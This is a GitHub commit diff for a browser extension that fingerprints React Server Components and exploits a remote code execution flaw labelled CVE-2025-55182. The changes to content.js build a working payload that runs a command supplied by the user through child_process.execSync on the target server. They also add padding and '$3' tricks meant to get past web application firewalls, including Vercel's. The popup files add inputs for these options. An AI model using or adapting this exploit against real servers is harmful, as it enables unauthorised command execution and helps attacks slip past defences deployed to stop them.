Skip to content

Commit 500aec9

Browse files
committed
Add WAF bypass from assetnote
* Add padding-based WAF * Add $3 Vercel WAF bypass * Add inputs for bypass options * Make form boundary dynamic
1 parent c43a14f commit 500aec9

File tree

5 files changed

+70
-17
lines changed

5 files changed

+70
-17
lines changed

README.md

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -16,6 +16,8 @@ This extension is designed for **educational and security research purposes only
1616

1717
### 🎯 Active Fingerprinting
1818
- Sends controlled RSC probe requests
19+
- Adds prefix padding to bypass some WAFs
20+
- Uses `$3` bypass for Vercel WAF
1921
- Analyzes server responses for RSC characteristics
2022
- Identifies Content-Type headers indicating RSC usage
2123
- Detects Vary headers containing 'RSC'

README_cn.md

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -16,6 +16,8 @@
1616

1717
### 🎯 主动指纹识别
1818
- 发送受控的 RSC 探测请求
19+
- 支持通过前缀 padding 绕过一些 WAF
20+
- 支持通过 $3 绕过 Vercel WAF
1921
- 分析服务器响应的 RSC 特征
2022
- 识别指示 RSC 使用的 Content-Type 头
2123
- 检测包含 'RSC' 的 Vary 头

content.js

Lines changed: 42 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,18 @@
11
// content.js
22

3+
// 12字符[a-z0-9]
4+
function shortRandString() {
5+
return Math.random().toString(36).substring(2).padEnd(12, '0');
6+
}
7+
8+
// 随机的base64长字符串,长度为 bytes 字符
9+
function longRandString(bytes) {
10+
const length = bytes;
11+
const buf = new Uint8Array((length * 3 + 2) / 4); // Base64 编码后长度是原来的 4/3
12+
crypto.getRandomValues(buf);
13+
return btoa(String.fromCharCode(...buf)).substring(0, length);
14+
}
15+
316
// === 1. 被动检测 ===
417
function performPassiveScan() {
518
let score = 0;
@@ -45,16 +58,25 @@ async function performFingerprint() {
4558
}
4659

4760
// === 3. RCE 漏洞利用 ===
48-
async function performExploit(cmd) {
49-
// 默认命令
50-
const targetCmd = cmd || "echo vulnerability_test";
51-
61+
async function performExploit({cmd = "echo vulnerability_test", pad = 0, bypassVercel = false} = {}) {
5262
// 构造 Payload,动态插入命令
5363
// 注意:这里需要处理 JS 转义,简单起见直接替换
5464
// Payload 逻辑: execSync('YOUR_CMD').toString().trim()
55-
const payloadJson = `{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('${targetCmd}').toString('base64');throw Object.assign(new Error('x'),{digest: res});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}`;
56-
const boundary = "----WebKitFormBoundaryx8jO2oVc6SWP3Sad";
57-
const bodyParts = [
65+
// pad, vercel WAF bypass 逻辑来自 https://github.com/assetnote/react2shell-scanner
66+
const formData = bypassVercel ? '"get":"$3:\\"$$:constructor:constructor"}' : '{"get":"$1:constructor:constructor"}';
67+
const payloadJson = `{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('${cmd}').toString('base64');throw Object.assign(new Error('x'),{digest: res});","_chunks":"$Q2","_formData":${formData}}}`;
68+
const boundary = `----WebKitFormBoundaryO2WP${shortRandString()}`;
69+
let form = [];
70+
if (pad > 0) {
71+
form.push(
72+
`--${boundary}`,
73+
`Content-Disposition: form-data; name="${shortRandString()}"`,
74+
'',
75+
longRandString(pad * 1024),
76+
`--${boundary}`,
77+
);
78+
}
79+
form.push(
5880
`--${boundary}`,
5981
'Content-Disposition: form-data; name="0"',
6082
'',
@@ -67,9 +89,20 @@ async function performExploit(cmd) {
6789
'Content-Disposition: form-data; name="2"',
6890
'',
6991
'[]',
92+
);
93+
if (bypassVercel) {
94+
form.push(
95+
`--${boundary}`,
96+
'Content-Disposition: form-data; name="3"',
97+
'',
98+
'{"\\"$$":{}}',
99+
);
100+
}
101+
form.push(
70102
`--${boundary}--`,
71103
''
72-
].join('\r\n');
104+
);
105+
const bodyParts = form.join('\r\n');
73106

74107
const targetUrl = "/adfa"; // 使用相对路径
75108

@@ -143,7 +176,7 @@ chrome.runtime.onMessage.addListener((req, sender, sendResponse) => {
143176
return true;
144177
}
145178
if (req.action === "run_exploit") {
146-
performExploit(req.cmd).then(res => sendResponse(res));
179+
performExploit(req).then(res => sendResponse(res));
147180
return true;
148181
}
149182
});

popup.html

Lines changed: 17 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -25,8 +25,8 @@
2525

2626
/* 输入框与按钮 */
2727
.input-group { display: flex; margin-bottom: 8px; }
28-
input[type="text"] { flex: 1; padding: 6px; border: 1px solid #bdc3c7; border-radius: 4px 0 0 4px; font-family: monospace; font-size: 11px; outline: none; }
29-
input[type="text"]:focus { border-color: #3498db; }
28+
td > input { padding: 6px; border: 1px solid #bdc3c7; border-radius: 4px 0 0 4px; font-family: monospace; font-size: 11px; outline: none; }
29+
td > input:focus { border-color: #3498db; }
3030

3131
button { border: none; cursor: pointer; color: #fff; font-weight: 600; transition: 0.2s; padding: 8px; font-size: 11px; }
3232
.btn-scan { background: #3498db; width: 100%; border-radius: 4px; }
@@ -70,8 +70,21 @@
7070
<div class="card-title" style="background: #fff0eb; color: #c0392b;">3. RCE Exploit (CVE-2025-55182)</div>
7171
<div class="card-body">
7272
<div class="input-group">
73-
<input type="text" id="cmdInput" placeholder="Command (echo vulnerability_test)" value="echo vulnerability_test">
74-
<button id="btnExploit" class="btn-exploit">EXEC</button>
73+
<table style="flex: 4">
74+
<tr>
75+
<th><label for="cmdInput" title="Command">CMD</label></th>
76+
<td><input type="text" id="cmdInput" placeholder="Command (echo vulnerability_test)" value="echo vulnerability_test"></td>
77+
</tr>
78+
<tr>
79+
<th><label for="padInput" title="Anti-WAF padding (kb)">Pad</label></th>
80+
<td><input type="number" id="padInput" placeholder="Anti-WAF padding (kb)" value="128">&nbsp;kb</td>
81+
</tr>
82+
<tr>
83+
<th><label for="vercelInput" title="Bypass Vercel WAF">Vercel</label></th>
84+
<td><input style="flex:1" type="checkbox" id="vercelInput" value="false"></td>
85+
</tr>
86+
</table>
87+
<button id="btnExploit" class="btn-exploit" style="flex: 1">EXEC</button>
7588
</div>
7689
<div id="exploit-status" style="font-size: 10px; color: #7f8c8d; display:none;">Sending payload...</div>
7790
<div id="exploit-result" class="result-box">

popup.js

Lines changed: 7 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -7,9 +7,11 @@ document.addEventListener('DOMContentLoaded', () => {
77
activeList: document.getElementById('active-list'),
88
btnExploit: document.getElementById('btnExploit'),
99
cmdInput: document.getElementById('cmdInput'),
10+
padInput: document.getElementById('padInput'),
11+
vercelInput: document.getElementById('vercelInput'),
1012
exploitStatus: document.getElementById('exploit-status'),
1113
exploitResult: document.getElementById('exploit-result'),
12-
rceOutput: document.getElementById('rce-output')
14+
rceOutput: document.getElementById('rce-output'),
1315
};
1416

1517
// 1. 获取当前 Tab
@@ -69,13 +71,14 @@ document.addEventListener('DOMContentLoaded', () => {
6971

7072
// --- 交互:RCE 利用 ---
7173
el.btnExploit.addEventListener('click', () => {
72-
const cmd = el.cmdInput.value || "whoami";
73-
el.btnExploit.disabled = true;
74+
const cmd = el.cmdInput.value;
75+
const pad = +(el.padInput.value) || 0;
76+
const bypassVercel = el.vercelInput.checked;
7477
el.exploitStatus.style.display = 'block';
7578
el.exploitResult.style.display = 'none';
7679
el.rceOutput.className = 'console-out'; // 重置样式
7780

78-
chrome.tabs.sendMessage(tabId, {action: "run_exploit", cmd: cmd}, (res) => {
81+
chrome.tabs.sendMessage(tabId, {action: "run_exploit", cmd, pad, bypassVercel}, (res) => {
7982
el.btnExploit.disabled = false;
8083
el.exploitStatus.style.display = 'none';
8184
el.exploitResult.style.display = 'block';

0 commit comments

Comments
 (0)